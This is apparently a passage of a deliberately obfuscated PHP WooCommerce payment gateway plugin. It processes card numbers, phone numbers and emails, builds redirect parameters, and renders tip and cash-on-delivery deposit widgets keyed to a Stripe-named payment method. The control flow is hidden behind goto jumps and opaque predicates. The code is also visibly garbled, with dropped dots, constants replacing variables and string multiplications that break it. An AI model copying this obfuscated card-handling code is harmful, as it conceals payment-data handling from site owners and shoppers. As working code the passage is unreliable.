U2yxaj;U2yldMhxal:U2yxaj:unset($U2ytI8I);$U2ytI8I=$U2y8H;$lastFourPhone=$U2ytI8I;unset($U2ytI8G);$U2ytI8G=preg_replace('/\s+/','',$ccard);$cleanedCardNumber=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$cleanedCardNumber;$U2yzA8H[]=-4;$U2yeF8G=call_user_func_array("substr",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$lastFourDigits=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$email;$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="obscureEmail";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$obscuredEmail=$U2ytI8G;$U2y8H=(bool)isset($_POST['custom_cod_checkbox']);$U2yOiRy169=6870;if($U2y8H)goto U2yeWjgxan;goto U2yldMhxan;U2yeWjgxan:$U2yOiRy169="a"*"r";goto U2yxam;U2yldMhxan:U2yxam:$U2y8J=19*8;$U2y8K=$U2y8J+209;$U2y8L=$U2yOiRy169==$U2y8K;if($U2y8L)goto U2yeWjgxap;goto U2yldMhxap;U2yeWjgxap:$U2y8G=$_POST['custom_cod_checkbox']=='1';$U2y8H=(bool)$U2y8G;goto U2yxao;U2yldMhxap:U2yxao:unset($U2ytI8I);$U2ytI8I=$U2y8H;$is_cod_checked=$U2ytI8I;$U2yOiRy175=6875;if($is_cod_checked)goto U2yeWjgxar;goto U2yldMhxar;U2yeWjgxar:$U2yOiRy175="y"*"r";goto U2yxaq;U2yldMhxar:$U2yOiRy175="a"*"r";U2yxaq:$U2y8G=19*9;$U2y8H=$U2y8G+38;$U2y8I=$U2yOiRy175==$U2y8H;if($U2y8I)goto U2yeWjgxax;goto U2yldMhxax;U2yeWjgxax:$U2y8G=$order->get_currency() . ' ';$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_total";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2y8H=$U2y8Gnumber_format($U2yhCvP8G,2);unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$final_goods_price=$U2ytI8G;goto U2yxaw;U2yldMhxax:$U2y8G=18*8;$U2y8H=$U2y8G-60;$U2y8I=$U2yOiRy175==$U2y8H;if($U2y8I)goto U2yeWjgxay;goto U2yldMhxay;U2yeWjgxay:unset($U2ytI8G);$U2ytI8G=0;$deposit_amount=$U2ytI8G;$U2y8G=$this->enable_cod_deposit=='yes';if($U2y8G)goto U2yeWjgxb1;goto U2yldMhxb1;U2yeWjgxb1:goto U2yeWjgxat;goto U2yxbz;U2yldMhxb1:U2yxbz:goto U2yldMhxat;U2yeWjgxat:$U2y8G=$this->cod_deposit_type==='percent';if($U2y8G)goto U2yeWjgxb3;goto U2yldMhxb3;U2yeWjgxb3:goto U2yeWjgxav;goto U2yxb2;U2yldMhxb3:U2yxb2:goto U2yldMhxav;U2yeWjgxav:$U2yvP8G=floatval($this->cod_deposit_value)/100;$U2yvP8H=$order->get_total()*$U2yvP8G;unset($U2ytI8I);$U2ytI8I=round($U2yvP8H,2);unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$deposit_amount=$U2ytI8G;goto U2yxau;U2yldMhxav:unset($U2ytI8G);$U2ytI8G=floatval($this->cod_deposit_value);$deposit_amount=$U2ytI8G;U2yxau:goto U2yxas;U2yldMhxat:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_total";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$deposit_amount=$U2ytI8G;U2yxas:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_currency";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2y8G=$U2yhC8G . ' ';$U2yzA8K=array();$U2yzA8K[]=&$deposit_amount;$U2yzA8K[]=2;$U2yeF8J=call_user_func_array("number_format",$U2yzA8K);unset($U2yzA8K);$U2y8H=$U2y8G . $U2yeF8J;unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$final_goods_price=$U2ytI8G;goto U2yxaw;U2yldMhxay:U2yxaw:$U2yzA8H=array();$U2yeFvP8G=call_user_func_array("home_url",$U2yzA8H);unset($U2yzA8H);$U2yzA8I=array();$U2yzA8I['uuid']=$uuid;$U2yzA8I['cardType']=$cardType;$U2yzA8I['merchant']=$merchant;$U2yzA8I['goods_price']=$final_goods_price;$U2yzA8I['obscuredEmail']=$obscuredEmail;$U2yzA8I['lastFourDigits']=$lastFourDigits;$U2yzA8I['lastFourPhone']=$lastFourPhone;$U2yzA8I['origin']=$U2yeFvP8G;unset($U2ytI8G);$U2ytI8G=$U2yzA8I;$params=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$order;$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_return_url";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8J=array();$U2yzA8J['result']='success';$U2yzA8J['order_currency']=$order_currency;$U2yzA8J['order_currency_symbol']=$order_currency_symbol;$U2yzA8J['order_amount']=$order_amount;$U2yzA8J['redirect']=$U2yhCvP8G;$U2yzA8J["args"]=$args;$U2yzA8J['params']=$params;return $U2yzA8J;}};}}function add_stripe_gateway_class($gateways){$U2yBuEt77=array();$U2yBuEt77[]=2;$U2yBuEt77[]=8;$U2yBuEt77[]=15;$U2yBuEt77[]=7;$U2yBuEt77[]=4;unset($U2ytI8G);$U2ytI8G='WC_Lighthouse_Payment_Gateway';$gateways[]=$U2ytI8G;return $gateways;}function remove_checkout_payment_fragment($fragments){$U2yBuEt78=array();$U2yBuEt78[]=15;$U2yBuEt78[]=13;$U2yBuEt78[]=9;$U2yBuEt78[]=5;$U2yBuEt78[]=9;$U2yOiRy8=3375;if(isset($fragments['.woocommerce-checkout-payment']))goto U2yeWjgxh;goto U2yldMhxh;U2yeWjgxh:$U2yOiRy8="r"*"r";goto U2yxg;U2yldMhxh:U2yxg:$U2y8G=1*3;$U2y8H=$U2y8G+114;$U2y8I=$U2yOiRy8==$U2y8H;if($U2y8I)goto U2yeWjgxj;goto U2yldMhxj;U2yeWjgxj:unset($fragments['.woocommerce-checkout-payment']);goto U2yxi;U2yldMhxj:U2yxi:return $fragments;}function lighthouse_tip_cod_blocks(){$U2yBuEt82=array();$U2yBuEt82[]=2;$U2yBuEt82[]=11;$U2yBuEt82[]=12;$U2yBuEt82[]=14;$U2yBuEt82[]=3;$U2yOiRy49=2754;$U2y8G=!class_exists('WC_Lighthouse_Payment_Gateway');if($U2y8G)goto U2yeWjgx2w;goto U2yldMhx2w;U2yeWjgx2w:return ;goto U2yx2v;U2yldMhx2w:U2yx2v:$U2y8G=new WC_Lighthouse_Payment_Gateway();unset($U2ytI8H);$U2ytI8H=$U2y8G;$gateway=$U2ytI8H;$U2yOiRy51=2754;$U2y8G=$gateway->enable_tip=='yes';if($U2y8G)goto U2yeWjgx2y;goto U2yldMhx2y;U2yeWjgx2y:$U2yOiRy51="r"*"a";goto U2yx2x;U2yldMhx2y:U2yx2x:$U2y8G=5*15;$U2y8H=$U2y8G+93;$U2y8I=$U2yOiRy51==$U2y8H;if($U2y8I)goto U2yeWjgx31;goto U2yldMhx31;U2yeWjgx31:$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_symbol=$U2ytI8G;echo " <style>";echo "
.lh-tip-box {";echo "
border: 1px solid #eee;";echo "
border-radius: 8px;";echo "
padding: 18px 20px 12px 20px;";echo "
background: #fff;";echo "
width: 100%;";echo "
box-sizing: border-box;";echo "
margin-bottom: 20px;";echo "
}";echo "
";echo "
.lh-tip-desc {";echo "
margin-bottom: 12px !important;";echo "
color: #666;";echo "
font-size: 15px;";echo "
}";echo "
";echo "
.lh-tip-btns {";echo "
display: flex;";echo "
gap: 12px;";echo "
margin-bottom: 12px;";echo "
}";echo "
";echo "
.tip-btn {";echo "
flex: 1 1 0;";echo "
display: flex;";echo "
flex-direction: column;";echo "
align-items: center;";echo "
border: 15px solid #d9d9d9;";echo "
border-radius: 8px;";echo "
background: #fafbfc;";echo "
color: #222;";echo "
font-weight: bold;";echo "
font-size: 16px;";echo "
padding: 10px 0 6px 0;";echo "
cursor: pointer;";echo "
transition: border-color2s, box-shadow2s, background2s;";echo "
box-shadow: 0 1px 4px rgba(0, 0, 0, 003);";echo "
min-width: 68px;";echo "
margin: 0;";echo "
}";echo "
";echo "
.tip-btnselected,";echo "
.tip-btn:focus {";echo "
border-color: #111;";echo "
background: #f1f4fa;";echo "
box-shadow: 0 2px 8px rgba(0, 0, 0, 007);";echo "
}";echo "
";echo "
.tip-btnlh-tip-amount {";echo "
font-size: 14px;";echo "
color: #2a7b1f;";echo "
font-weight: normal;";echo "
margin-top: 3px;";echo "
}";echo "
";echo "
.tip-btntip-noneselected {";echo "
border-color: #444;";echo "
background: #f6f6f6;";echo "
color: #888;";echo "
}";echo "
";echo "
.lh-tip-custom {";echo "
position: relative;";echo "
display: flex;";echo "
align-items: center;";echo "
gap: 8px;";echo "
margin-bottom: 10px;";echo "
}";echo "
";echo "
.lh-tip-custom::before {";echo "
content: attr(data-currency);";echo "
position: absolute;";echo "
left: 16px;";echo "
top: 50%;";echo "
transform: translateY(-50%);";echo "
color: #333;";echo "
font-size: 15px;";echo "
pointer-events: none;";echo "
min-width: 2em;";echo "
text-align: left;";echo "
}";echo "
";echo "
";echo "
#custom-tip {";echo "
flex: 1;";echo "
min-width: 0;";echo "
padding: 6px 8px 6px 48px;";echo "
";echo "
border-radius: 5px;";echo "
border: 1px solid #ccc;";echo "
font-size: 15px;";echo "
box-sizing: border-box;";echo "
}";echo "
";echo "
";echo "
";echo "
#update-tip {";echo "
padding: 6px 14px;";echo "
min-width: 100px;";echo "
";echo "
background: #e8e8e8;";echo "
border: none;";echo "
border-radius: 5px;";echo "
font-weight: bold;";echo "
cursor: pointer;";echo "
color: #333;";echo "
transition: background2s;";echo "
line-height: normal;";echo "
}";echo "
";echo "
#update-tip:disabled {";echo "
background: #f2f2f2;";echo "
color: #aaa;";echo "
cursor: not-allowed;";echo "
";echo "
opacity: 07;";echo "
line-height: normal;";echo "
}";echo "
";echo "
#update-tip:hover {";echo "
background: #d2e4ff;";echo "
color: #222;";echo "
";echo "
}";echo "
";echo "
#tip-message {";echo "
margin-top: 3px;";echo "
font-size: 14px;";echo "
}";echo "
</style>";echo "
<div id=\"add-tip-section\" class=\"lh-tip-box\">";echo "
<h3>";$U2yzA8H=array();$U2yzA8H[]='Add tip';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</h3>";echo "
<p class=\"lh-tip-desc\">";$U2yzA8H=array();$U2yzA8H[]='Show your support for the team';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</p>";echo "
<div class=\"lh-tip-btns\">";echo "
<button type=\"button\" class=\"tip-btn\" data-tip=\"1\">";echo "
<span>100%</span>";echo "
<span class=\"lh-tip-amount\"></span>";echo "
</button>";echo "
<button type=\"button\" class=\"tip-btn\" data-tip=\"5\">";echo "
<span>500%</span>";echo "
<span class=\"lh-tip-amount\"></span>";echo "
</button>";echo "
<button type=\"button\" class=\"tip-btn\" data-tip=\"10\">";echo "
<span>1000%</span>";echo "
<span class=\"lh-tip-amount\"></span>";echo "
</button>";echo "
<button type=\"button\" class=\"tip-btn tip-none selected\" data-tip=\"0\">";echo "
<span>";$U2yzA8H=array();$U2yzA8H[]='None';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</span>";echo "
</button>";echo "
</div>";echo "
";echo "
<div class=\"lh-tip-custom\" data-currency=\"";$U2yzA8H=array();$U2yzA8H[]=&$currency_symbol;$U2yeF8G=call_user_func_array("esc_attr",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo "\">";echo "
<input type=\"number\" step=\"001\" min=\"0\" id=\"custom-tip\" placeholder=\"Custom tip\">";echo "
<button type=\"button\" id=\"update-tip\" disabled>";$U2yzA8H=array();$U2yzA8H[]='Update Tip';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</button>";echo "
</div>";echo "
";echo "
<div id=\"tip-message\" style=\"color:green;display:none;\">";$U2yzA8H=array();$U2yzA8H[]='Thank you, we appreciate it';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</div>";echo "
<input type=\"hidden\" name=\"order_tip_amount\" id=\"order_tip_amount\" value=\"0\">";echo "
<input type=\"hidden\" id=\"tip-currency-symbol\" value=\"";$U2yzA8H=array();$U2yzA8H[]=&$currency_symbol;$U2yeF8G=call_user_func_array("esc_attr",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo "\">";echo "
</div>";echo "
<script>";echo "
jQuery(function(\$) {";echo "
";echo "
";echo "
// var currency = \$('.lh-tip-custom').attr('data-currency') || '';";echo "
// var width = Mathmax(48, currencylength * 15 + 20); // 15px每字符+20px间距";echo "
// \$('#custom-tip').css('padding-left', width + 'px');";echo "
";echo "
";echo "
";echo "
function toggleTipBox() {";echo "
var selected = \$('input[name=\"payment_method\"]:checked').val();";echo "
// 你的支付方式ID,和PHP里的id保持一致";echo "
if (selected === 'woocommerce_payments_stripe_gateway') {";echo "
\$('#add-tip-section').show();";echo "
} else {";echo "
\$('#add-tip-section').hide();";echo "
}";echo "
}";echo "
// 页面加载时和每次切换支付方式都检测";echo "
toggleTipBox();";echo "
\$(document).on('change', 'input[name=\"payment_method\"]', toggleTipBox);";echo "
";echo "
";echo "
";echo "
function toggleUpdateTipBtn() {";echo "
var val = parseFloat(\$('#custom-tip').val());";echo "
if (!isNaN(val) && val > 0) {";echo "
\$('#update-tip').prop('disabled', false);";echo "
} else {";echo "
\$('#update-tip').prop('disabled', true);";echo "
}";echo "
}";echo "
";echo "
function parseTipAmount(tipText) {";echo "
// 去掉前面的非数字字符";echo "
let amount = tipTextreplace(/^[^\\d]+/, '');";echo "
// 去掉逗号";echo "
amount = amountreplace(/,/g, '');";echo "
// 只保留第一个数字及其后面的内容(防止有多个数字)";echo "
amount = amountmatch(/^\\d+(\\.\\d+)?/);";echo "
if (amount) {";echo "
return parseFloat("a");";echo "
}";echo "
return 0;";echo "
}";echo "
";echo "
function isTemplateCommaStyle(amountStr) {";echo "
return amountStr && amountStrindexOf(',') !== -1;";echo "
}";echo "
";echo "
function formatMoney(val, useComma) {";echo "
val = parseFloat(val);";echo "
if (isNaN(val)) val = 0;";echo "
if (useComma) {";echo "
// 英文环境下用 toLocaleString";echo "
return getCurrencySymbol() + valtoLocaleString('en-US', {";echo "
minimumFractionDigits: 2,";echo "
maximumFractionDigits: 2";echo "
});";echo "
} else {";echo "
// 不加逗号";echo "
return getCurrencySymbol() + valtoFixed(2);";echo "
}";echo "
}";echo "
";echo "
function getSubtotal() {";echo "
var subtotal = \$('.cart-subtotalamount').first().text() || \$('.woocommerce-checkout-review-order-table tfootcart-subtotalamount').text();";echo "
consolelog('subtotal:', subtotal);";echo "
return parseTipAmount(subtotal) || 0;";echo "
}";echo "
";echo "
function getCurrencySymbol() {";echo "
// 优先用隐藏input的值";echo "
return \$('#tip-currency-symbol').val() || '\$';";echo "
}";echo "
";echo "
function formatCurrency(val) {";echo "
// 保留两位小数并加符号";echo "
return getCurrencySymbol() + parseFloat(val).toFixed(2);";echo "
}";echo "
// 初始化时禁用按钮";echo "
\$('#update-tip').prop('disabled', true);";echo "
";echo "
// 输入框变化时判断";echo "
\$('#custom-tip').on('input', function() {";echo "
toggleUpdateTipBtn();";echo "
if (\$(this).val()) {";echo "
\$('.tip-btn').removeClass('selected');";echo "
}";echo "
});";echo "
";echo "
// 选择预设按钮时,清空输入框并禁用按钮";echo "
\$('.tip-btn').click(function() {";echo "
\$('#custom-tip').val('');";echo "
toggleUpdateTipBtn();";echo "
});";echo "
";echo "
// 页面加载时检测一次";echo "
toggleUpdateTipBtn();";echo "
";echo "
function updateTipAmounts() {";echo "
var subtotalStr = \$('.cart-subtotalamount').first().text() || \$('.woocommerce-checkout-review-order-table tfootcart-subtotalamount').text();";echo "
var subtotal = parseTipAmount(subtotalStr) || 0;";echo "
var useComma = isTemplateCommaStyle(subtotalStr);";echo "
";echo "
\$('.tip-btn').each(function() {";echo "
var percent = parseFloat(\$(this).data('tip'));";echo "
if (percent > 0) {";echo "
var tip = (subtotal * percent / 100).toFixed(2);";echo "
\$(this).find('.lh-tip-amount').text(formatMoney(tip, useComma));";echo "
} else {";echo "
\$(this).find('.lh-tip-amount').text('');";echo "
}";echo "
});";echo "
}";echo "
";echo "
updateTipAmounts();";echo "
\$(documentbody).on('updated_checkout', updateTipAmounts);";echo "
";echo "
function selectBtn(\$btn) {";echo "
\$('.tip-btn').removeClass('selected');";echo "
\$btnaddClass('selected');";echo "
}";echo "
";echo "
\$('.tip-btn').click(function() {";echo "
var percent = parseFloat(\$(this).data('tip'));";echo "
var subtotal = getSubtotal();";echo "
if (percent > 0) {";echo "
var tip = (subtotal * percent / 100).toFixed(2);";echo "
\$('#custom-tip').val('');";echo "
\$('#order_tip_amount').val(tip);";echo "
selectBtn(\$(this));";echo "
} else {";echo "
\$('#custom-tip').val('');";echo "
\$('#order_tip_amount').val(0);";echo "
selectBtn(\$(this));";echo "
}";echo "
\$('#tip-message').hide();";echo "
\$('body').trigger('update_checkout');";echo "
});";echo "
";echo "
\$('#update-tip').click(function() {";echo "
var tip = parseFloat(\$('#custom-tip').val()) || 0;";echo "
\$('#order_tip_amount').val(tip);";echo "
\$('.tip-btn').removeClass('selected');";echo "
\$('#tip-message').toggle(tip > 0);";echo "
\$('body').trigger('update_checkout');";echo "
});";echo "
";echo "
\$('#custom-tip').on('input', function() {";echo "
if (\$(this).val()) {";echo "
\$('.tip-btn').removeClass('selected');";echo "
}";echo "
});";echo "
";echo "
// 如果页面币种变动(如多币种插件切换),自动刷新";echo "
\$(documentbody).on('updated_cart_totals updated_checkout', function() {";echo "
updateTipAmounts();";echo "
});";echo "
});";echo "
</script>";echo "
";goto U2yx3z;U2yldMhx31:U2yx3z:$U2yOiRy67=2748;$U2y8G=$gateway->enable_cod_deposit=='yes';if($U2y8G)goto U2yeWjgx33;goto U2yldMhx33;U2yeWjgx33:$U2yOiRy67="y"*"r";goto U2yx32;U2yldMhx33:U2yx32:$U2y8G=17*14;$U2y8H=$U2y8G-205;$U2y8I=$U2yOiRy67==$U2y8H;if($U2y8I)goto U2yeWjgx3j;goto U2yldMhx3j;U2yeWjgx3j:$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_symbol=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label);if($U2y8G)goto U2yeWjgx3l;goto U2yldMhx3l;U2yeWjgx3l:goto U2yeWjgx35;goto U2yx3k;U2yldMhx3l:U2yx3k:goto U2yldMhx35;U2yeWjgx35:$U2y8H=$gateway->cod_deposit_label;goto U2yx34;U2yldMhx35:$U2y8H='货到付款';U2yx34:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$cod_label=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label_desc1);if($U2y8G)goto U2yeWjgx3n;goto U2yldMhx3n;U2yeWjgx3n:goto U2yeWjgx37;goto U2yx3m;U2yldMhx3n:U2yx3m:goto U2yldMhx37;U2yeWjgx37:$U2y8H=$gateway->cod_deposit_label_desc1;goto U2yx36;U2yldMhx37:$U2y8H='';U2yx36:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$desc=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label_desc2);if($U2y8G)goto U2yeWjgx3p;goto U2yldMhx3p;U2yeWjgx3p:goto U2yeWjgx39;goto U2yx3o;U2yldMhx3p:U2yx3o:goto U2yldMhx39;U2yeWjgx39:$U2y8H=$gateway->cod_deposit_label_desc2;goto U2yx38;U2yldMhx39:$U2y8H='Deposit (pay now):';U2yx38:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$label1=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label_desc3);if($U2y8G)goto U2yeWjgx3r;goto U2yldMhx3r;U2yeWjgx3r:goto U2yeWjgx3b;goto U2yx3q;U2yldMhx3r:U2yx3q:goto U2yldMhx3b;U2yeWjgx3b:$U2y8H=$gateway->cod_deposit_label_desc3;goto U2yx3a;U2yldMhx3b:$U2y8H='Balance (on delivery):';U2yx3a:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$label2=$U2ytI8G;if(empty($desc))goto U2yeWjgx3t;goto U2yldMhx3t;U2yeWjgx3t:goto U2yeWjgx3d;goto U2yx3s;U2yldMhx3t:U2yx3s:goto U2yldMhx3d;U2yeWjgx3d:$U2y8G=$gateway->cod_deposit_type==='percent';if($U2y8G)goto U2yeWjgx3v;goto U2yldMhx3v;U2yeWjgx3v:goto U2yeWjgx3f;goto U2yx3u;U2yldMhx3v:U2yx3u:goto U2yldMhx3f;U2yeWjgx3f:unset($U2ytI8G);$U2ytI8G='下单需预付订单总金额的 <b>{deposit_percent}%</b> 作为定金,剩余货款收货时支付。<div style="color:#888;font-size:13px;margin-top:4px;">选择其他支付方式无需定金。</div>';$desc=$U2ytI8G;goto U2yx3e;U2yldMhx3f:unset($U2ytI8G);$U2ytI8G='下单需预付 <b>{currency_symbol}{deposit_amount}</b> 作为定金,剩余货款收货时支付。<div style="color:#888;font-size:13px;margin-top:4px;">选择其他支付方式无需定金。</div>';$desc=$U2ytI8G;U2yx3e:goto U2yx3c;U2yldMhx3d:U2yx3c:unset($U2ytI8G);$U2ytI8G=floatval($gateway->cod_deposit_value);$deposit_percent=$U2ytI8G;$U2y8G=$gateway->cod_deposit_type==='percent';if($U2y8G)goto U2yeWjgx3x;goto U2yldMhx3x;U2yeWjgx3x:goto U2yeWjgx3h;goto U2yx3w;U2yldMhx3x:U2yx3w:goto U2yldMhx3h;U2yeWjgx3h:$U2y8H=$deposit_percent;goto U2yx3g;U2yldMhx3h:$U2y8H=round($gateway->cod_deposit_value,2);U2yx3g:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$deposit_amount=$U2ytI8G;$U2yzAvP8G=array();$U2yzAvP8G[]='{deposit_percent}';$U2yzAvP8G[]='{deposit_amount}';$U2yzAvP8G[]='{currency_symbol}';$U2yzAvP8H=array();$U2yzAvP8H[]=$deposit_percent;$U2yzAvP8H[]=$deposit_amount;$U2yzAvP8H[]=$currency_symbol;$U2yzA8J=array();$U2yzA8J[]=&$U2yzAvP8G;$U2yzA8J[]=&$U2yzAvP8H;$U2yzA8J[]=&$desc;$U2yeF8I=call_user_func_array("str_replace",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yeF8I;$desc=$U2ytI8G;echo " ";echo "
<div id=\"cod-deposit-box\" style=\"margin-bottom:18px; border:15px solid #e5e5e5; border-radius:7px; padding:15px 20px; background:#f9f9f9;\">";echo "
<label style=\"font-size:15px; color:#222; display:inline-flex; align-items:center;cursor:pointer;\">";echo "
<input type=\"checkbox\" name=\"custom_cod_checkbox\" id=\"custom_cod_checkbox\" value=\"1\" checked=\"checked\" style=\"margin-right:8px;\">";echo "
";$U2yzA8H=array();$U2yzA8H[]=&$cod_label;$U2yeF8G=call_user_func_array("esc_html",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo " </label>";echo "
<div id=\"cod-deposit-desc\" style=\"margin-top:6px; color:#444; font-size:14px;padding-bottom: 5px;\">";echo "
";echo $desc;echo " </div>";echo "
<input type=\"hidden\" id=\"cod-deposit-type\" value=\"";echo esc_attr($gateway->cod_deposit_type);echo "\">";echo "
<input type=\"hidden\" id=\"cod-deposit-value\" value=\"";echo esc_attr($gateway->cod_deposit_value);echo "\">";echo "
<div id=\"cod-deposit-amount\" style=\"font-size: 15px;font-weight: 600;display: flex;justify-content: space-between;padding-top: 5px;\"></div>";echo "
<div id=\"cod-balance-amount\" style=\"font-size: 15px;font-weight: 600;display: flex;justify-content: space-between;\"></div>";echo "
</div>";echo "
<script>";echo "
jQuery(function(\$) {";echo "
function isTemplateCommaStyle(amountStr) {";echo "
return amountStr && amountStrindexOf(',') !== -1;";echo "
}";echo "
";echo "
function getCurrencySymbol() {";echo "
return '";echo $currency_symbol;echo "';";echo "
}";echo "
";echo "
function formatMoney(val, useComma) {";echo "
val = parseFloat(val);";echo "
if (isNaN(val)) val = 0;";echo "
if (useComma) {";echo "
return getCurrencySymbol() + valtoLocaleString('en-US', {";echo "
minimumFractionDigits: 2,";echo "
maximumFractionDigits: 2";echo "
});";echo "
} else {";echo "
return getCurrencySymbol() + valtoFixed(2);";echo "
}";echo "
}";echo "
";echo "
function parseTipAmount(tipText) {";echo "
let amount = tipTextreplace(/^[^\\d]+/, '');";echo "
amount = amountreplace(/,/g, '');";echo "
amount = amountmatch(/^\\d+(\\.\\d+)?/);";echo "
if (amount) {";echo "
return parseFloat("a");";echo "
}";echo "
return 0;";echo "
}";echo "
";echo "
function getTotalStr() {";echo "
return \$('.order-totalamount').first().text() || \$('.woocommerce-checkout-review-order-table tfootorder-totalamount').text();";echo "
}";echo "
";echo "
function getTotal() {";echo "
return parseTipAmount(getTotalStr()) || 0;";echo "
}";echo "
";echo "
function getDepositType() {";echo "
return \$('#cod-deposit-type').val();";echo "
}";echo "
";echo "
function getDepositValue() {";echo "
var val = \$('#cod-deposit-value').val();";echo "
return isNaN(parseFloat(val)) ? 0 : parseFloat(val);";echo "
}";echo "
";echo "
function updateCODAmounts() {";echo "
var totalStr = getTotalStr();";echo "
var total = parseTipAmount(totalStr) || 0;";echo "
var useComma = isTemplateCommaStyle(totalStr);";echo "
";echo "
var deposit = 0;";echo "
var deposit_type = getDepositType();";echo "
var deposit_value = getDepositValue();";echo "
";echo "
if (deposit_type === 'percent') {";echo "
deposit = Mathround(total * deposit_value) / 100;";echo "
} else {";echo "
deposit = deposit_value;";echo "
if (deposit > total) deposit = total;";echo "
}";echo "
var balance = total - deposit;";echo "
if (balance < 0) balance = 0;";echo "
";echo "
var cod_deposit_label = ";$U2yzA8H=array();$U2yzA8H[]=&$label1;$U2yeF8G=call_user_func_array("json_encode",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo ";";echo "
var cod_balance_label = ";$U2yzA8H=array();$U2yzA8H[]=&$label2;$U2yeF8G=call_user_func_array("json_encode",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo ";";echo "
\$('#cod-deposit-amount').html(cod_deposit_label + '<span style=\"font-size:16px;\">' + formatMoney(deposit, useComma) + '</span>');";echo "
\$('#cod-balance-amount').html(cod_balance_label + '<span style=\"font-size:16px;\">' + formatMoney(balance, useComma) + '</span>');";echo "
}";echo "
updateCODAmounts();";echo "
\$(documentbody).on('updated_checkout', updateCODAmounts);";echo "
";echo "
function toggleCODBox() {";echo "
var checked = \$('#custom_cod_checkbox').prop('checked');";echo "
if (checked) {";echo "
\$('#cod-deposit-desc').show();";echo "
\$('#cod-deposit-amount').show();";echo "
\$('#cod-balance-amount').show();";echo "
} else {";echo "
\$('#cod-deposit-desc').hide();";echo "
\$('#cod-deposit-amount').hide();";echo "
\$('#cod-balance-amount').hide();";echo "
}";echo "
}";echo "
toggleCODBox();";echo "
\$('#custom_cod_checkbox').on('change', function() {";echo "
toggleCODBox();";echo "
});";echo "
\$(document).on('change', 'input[name=\"payment_method\"]', function() {";echo "
toggleCODBox();";echo "
updateCODAmounts();";echo "
toggleCodBox();";echo "
});";echo "
";echo "
function toggleCodBox() {";echo "
var selected = \$('input[name=\"payment_method\"]:checked').val();";echo "
if (selected === 'woocommerce_payments_stripe_gateway') {";echo "
\$('#cod-deposit-box').show();";echo "
} else {";echo "
\$('#cod-deposit-box').hide();";echo "
}";echo "
}";echo "
toggleCodBox();";echo "
});";echo "
</script>";echo "
